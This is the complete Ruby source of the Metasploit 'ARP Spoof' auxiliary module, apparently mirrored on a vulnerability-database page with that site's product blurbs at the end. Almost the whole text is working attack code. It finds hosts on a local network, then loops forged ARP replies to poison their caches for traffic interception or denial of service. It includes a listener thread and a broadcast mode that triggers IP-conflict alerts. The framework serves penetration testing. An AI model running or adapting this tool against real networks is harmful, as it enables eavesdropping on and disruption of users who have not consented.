##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Capture
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'ARP Spoof',
'Description' => %q{
Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
},
'Author' => 'amaloteaux', # msf rewrite
#tons of people
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '11169'],
['CVE', '1999-0667'],
['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
],
'DisclosureDate' => 'Dec 22 1999' #osvdb date
)
register_options([
OptString.new('SHOSTS', [true, 'Spoofed ip addresses']),
OptString.new('SMAC', [false, 'The spoofed mac']),
OptString.new('DHOSTS', [true, 'Target ip addresses']),
OptString.new('INTERFACE', [false, 'The name of the interface']),
OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]),
OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]),
OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
])
register_advanced_options([
OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),
OptInt.new( 'PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
# This mode will generate address ip conflict pop up on most systems
OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
])
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
end
def run
open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"})
@netifaces = true
if not netifaces_implemented?
print_error("WARNING : Pcaprub is not up-to-date, some functionality will not be available")
@netifaces = false
end
@spoofing = false
# The local dst (and src) cache(s)
@dsthosts_cache = {}
@srchosts_cache = {}
# Some additional caches for autoadd feature
if datastore['AUTO_ADD']
@dsthosts_autoadd_cache = {}
if datastore['BIDIRECTIONAL']
@srchosts_autoadd_cache = {}
end
end
begin
@interface = datastore['INTERFACE'] || Pcap.lookupdev
# This is needed on windows cause we send interface directly to Pcap functions
@interface = get_interface_guid(@interface)
@smac = datastore['SMAC']
@smac ||= get_mac(@interface) if @netifaces
raise 'SMAC is not defined and can not be guessed' unless @smac
raise 'Source MAC is not in correct format' unless is_mac?(@smac)
@sip = datastore['LOCALSIP']
@sip ||= get_ipv4_addr(@interface) if @netifaces
raise "LOCALSIP is not defined and can not be guessed" unless @sip
raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
@shosts = []
if datastore['BIDIRECTIONAL']
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
else
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
end
if datastore['BROADCAST']
broadcast_spoof
else
arp_poisoning
end
rescue => ex
print_error( ex.message)
ensure
if datastore['LISTENER']
@listener.kill if @listener
end
if capture and @spoofing and not datastore['BROADCAST']
print_status("RE-ARPing the victims...")
3.times do
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
if shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
end
else
@shosts.each do |shost|
if shost != dhost
vprint_status("Sending arp request for #{shost} to #{dhost}")
request = buildprobe(dhost, dmac, shost)
inject(request)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
end
end
end
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
if shost != dhost
vprint_status("Sending arp packet for #{dhost} to #{shost}")
reply = buildreply(dhost, dmac, shost, smac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
end
end
end
end # 3.times
end
close_pcap
end #begin/rescue/ensure
end
def broadcast_spoof
print_status("ARP poisoning in progress (broadcast)...")
while(true)
@shosts.each do |shost|
vprint_status("Sending arp packet for #{shost} address")
reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
end
end
def arp_poisoning
lsmac = datastore['LOCALSMAC'] || @smac
raise 'Local Source Mac is not in correct format' unless is_mac?(lsmac)
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
@dhosts = []
dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}
# Build the local dest hosts cache
print_status("Building the destination hosts cache...")
@dhosts.each do |dhost|
vprint_status("Sending arp packet to #{dhost}")
probe = buildprobe(@sip, lsmac, dhost)
inject(probe)
while(reply = getreply())
next if not reply.is_arp?
# Without this check any arp request would be added to the cache
if @dhosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
end
# Wait some few seconds for last packets
etime = Time.now.to_f + datastore['TIMEOUT']
while (Time.now.to_f < etime)
while(reply = getreply())
next if not reply.is_arp?
if @dhosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
Kernel.select(nil, nil, nil, 0.50)
end
raise "No hosts found" unless @dsthosts_cache.length > 0
# Build the local src hosts cache
if datastore['BIDIRECTIONAL']
print_status("Building the source hosts cache for unknown source hosts...")
@shosts.each do |shost|
if @dsthosts_cache.has_key? shost
vprint_status("Adding #{shost} from destination cache")
@srchosts_cache[shost] = @dsthosts_cache[shost]
next
end
vprint_status("Sending arp packet to #{shost}")
probe = buildprobe(@sip, lsmac, shost)
inject(probe)
while(reply = getreply())
next if not reply.is_arp?
if @shosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
end
# Wait some few seconds for last packets
etime = Time.now.to_f + datastore['TIMEOUT']
while (Time.now.to_f < etime)
while(reply = getreply())
next if not reply.is_arp?
if @shosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
Kernel.select(nil, nil, nil, 0.50)
end
raise "No hosts found" unless @srchosts_cache.length > 0
end
if datastore['AUTO_ADD']
@mutex_cache = Mutex.new
end
# Start the listener
if datastore['LISTENER']
start_listener(@dsthosts_cache, @srchosts_cache)
end
# Do the job until user interrupt it
print_status("ARP poisoning in progress...")
@spoofing = true
while(true)
if datastore['AUTO_ADD']
@mutex_cache.lock
if @dsthosts_autoadd_cache.length > 0
@dsthosts_cache.merge!(@dsthosts_autoadd_cache)
@dsthosts_autoadd_cache = {}
end
if datastore['BIDIRECTIONAL']
if @srchosts_autoadd_cache.length > 0
@srchosts_cache.merge!(@srchosts_autoadd_cache)
@srchosts_autoadd_cache = {}
end
end
@mutex_cache.unlock
end
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
if shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, @smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
end
else
@shosts.each do |shost|
if shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, @smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
end
end
end
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
if shost != dhost
vprint_status("Sending arp packet for #{dhost} to #{shost}")
reply = buildreply(dhost, @smac, shost, smac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
end
end
end
end
end
def is_mac?(mac)
if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
else false end
end
def buildprobe(shost, smac, dhost)
p = PacketFu::ARPPacket.new
p.eth_saddr = smac
p.eth_daddr = "ff:ff:ff:ff:ff:ff"
p.arp_opcode = 1
p.arp_daddr_mac = p.eth_daddr
p.arp_saddr_mac = p.eth_saddr
p.arp_saddr_ip = shost
p.arp_daddr_ip = dhost
p
end
def buildreply(shost, smac, dhost, dmac)
p = PacketFu::ARPPacket.new
p.eth_saddr = smac
p.eth_daddr = dmac
p.arp_opcode = 2 # ARP Reply
p.arp_daddr_mac = p.eth_daddr
p.arp_saddr_mac = p.eth_saddr
p.arp_saddr_ip = shost
p.arp_daddr_ip = dhost
p
end
def getreply
pkt_bytes = capture.next
return if not pkt_bytes
pkt = PacketFu::Packet.parse(pkt_bytes)
return unless pkt.is_arp?
return unless pkt.arp_opcode == 2
pkt
end
def start_listener(dsthosts_cache, srchosts_cache)
if datastore['BIDIRECTIONAL']
args = {:BIDIRECTIONAL => true, :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup}
else
args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup}
end
# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
args[:AUTO_ADD] = datastore['AUTO_ADD']
args[:localip] = @sip.dup
@listener = Thread.new(args) do |args|
begin
# one more local copy
liste_src_ips = []
if args[:BIDIRECTIONAL]
args[:shosts].each_key {|address| liste_src_ips.push address}
else
args[:shosts].each {|address| liste_src_ips.push address}
end
liste_dst_ips = []
args[:dhosts].each_key {|address| liste_dst_ips.push address}
localip = args[:localip]
listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
listener_capture.setfilter("arp[6:2] == 0x0001")
while(true)
pkt_bytes = listener_capture.next
if pkt_bytes
pkt = PacketFu::Packet.parse(pkt_bytes)
if pkt.is_arp?
if pkt.arp_opcode == 1
# check if the source ip is in the dest hosts
if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or
(args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip)
vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
3.times{listener_capture.inject(reply.to_s)}
elsif args[:AUTO_ADD]
if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and
pkt.arp_saddr_ip != localip)
@mutex_cache.lock
print_status("#{pkt.arp_saddr_ip} appears to be up.")
@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
liste_dst_ips.push pkt.arp_saddr_ip
@mutex_cache.unlock
elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and
not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip)
@mutex_cache.lock
print_status("#{pkt.arp_saddr_ip} appears to be up.")
@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
liste_src_ips.push pkt.arp_saddr_ip
@mutex_cache.unlock
end
end
end
end
end
end
rescue => ex
print_error("Listener Error: #{ex.message}")
print_error("Listener Error: Listener is stopped")
end
end
@listener.abort_on_exception = true
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation